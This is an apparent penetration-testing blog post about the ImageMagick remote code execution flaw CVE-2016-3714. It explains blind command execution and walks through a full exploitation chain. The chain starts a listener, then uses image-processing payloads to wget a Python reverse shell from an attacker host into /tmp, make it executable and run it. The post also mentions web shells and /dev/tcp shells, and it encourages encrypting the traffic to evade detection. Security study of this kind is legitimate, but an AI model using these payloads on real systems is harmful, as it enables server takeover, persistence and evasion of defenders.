ImageMagick Undocumented Feature – RCE (CVE-2016-3714)
Posted on May 9th, 2016
This past week a very interesting vulnerability (CVE-2016-3714) came out affecting ImageMagick – software used to convert, edit, and manipulate images. The main attack vectors for the vulnerability are going to be web applications that leverage the software for image modification. Now the software package adds some additional functionality for us attackers #RCE 🙂
When input is being passed to a system call, an attacker is able to finish out the command string and pipe another command to run. Below is an example that would run the command “ls -la”:
image Over 0,0 1,1 ‘url(https://example.com/image.jpg”|ls “-la)’
Proof of Concept (PoC) Code:
Lots of good blogs have been written (here, here, and here) describing the vulnerability and exploitation, but most show the PoC exploit using the ImageMagick command line utilities. It might not be obvious that these same functions are built into web applications and can lead to code execution via exploitation. This blog will introduce a trivial example of HTML/PHP to show what this vulnerability looks like in a web application. Here is a link to our github repository for the vulnerable HTML/PHP PoC.
The code examples above require Apache/PHP and imagick-php5 installed. Then you can simply drop these files into the web root for your web server (example “/var/www/html”), and these should work. If you have some errors you can enable PHP errors in the php.ini file to investigate beyond the PHP white screen of death.
Blind RCE Introduction:
Before we demo the vulnerability we should note that in this instance exploitation leads to blind command execution. When dealing with blind RCE you can’t rely on payloads that require visual inspection to determine success (example “cat /etc/passwd”). The “cat /etc/passwd” may be actually working but you do not get to see the output (STDOUT) or errors (STDERR) of your command execution. This means you should start with very simple payloads that make some sort of connection back to you.
This can be a simple ping command “/bin/ping -c 2 [attacker-ip]” (be sure to use -c as otherwise the ping process may never end!). As a best practice, we also suggest providing the full path to the binary “/bin/ping” vs. “ping” because you can’t always assume the binary will be in the $PATH when exploiting something. These concepts apply to all blind command execution vulnerabilities: start with a simple payload that connects back to you, then leverage the full path.
Once you validate the simple payload works you can move to a more complex payload to accomplish something more interesting, such as spawning a reverse shell, uploading a web shell, or backdooring a legitimate file on the web application. When thinking about your more complex payloads consider the system you’re exploiting: what is installed on the box? (netcat, curl, wget, php, perl, python, etc.). You can even take a minimalist approach and use “/dev/tcp” to spawn a reverse shell. If this concept seems new, we suggest checking out pentest monkey’s reverse shell cheat sheet.
Okay Enough Already, Lets Pop Some Shells!
For this example we are going to use wget to pull over a Python reverse shell from Pentest Monkey and then execute the script. You might be tempted to just run some automated Metasploit module, or script from exploit-db, but try exploiting it manually to learn more about interacting with a vulnerable system via blind RCE. Developing these skills will be very valuable when troubleshooting exploitation if the exploit module/script doesn’t work as expected. Below are the series of commands we’ll leverage to exploit this vulnerability:
# [local-box] Start a web server on your attacker box:
~$ python -m SimpleHTTPServer 8000
# [local-box] Start a listener for your reverse shell:
~$ nc -lvp 443
# [Exploit-RCE] Pull over the shell to the tmp directory:
fill ‘url(https://fake-site.com/1.png”|/usr/bin/wget “http://attacker-ip:port/shell.py” -O /tmp/shell.py”)’
# [Exploit-RCE] Make the script executable:
fill ‘url(https://fake-site.com/1.png”|chmod “a+x” /tmp/shell.py”)’
# [Exploit-RCE] Execute the reverse shell Python script:
fill ‘url(https://fake-site.com/1.png”|python /tmp/shell.py”)’
From this point, you should have a more reliable way to execute commands interacting with the vulnerable system. As stated earlier, you have a lot of options for blind RCE, practice with this method, or maybe pulling over another type of binary such as Meterpreter. As another exercise for the reader, try to leverage encrypted communication techniques to avoid trivial detection via cleartext command strings.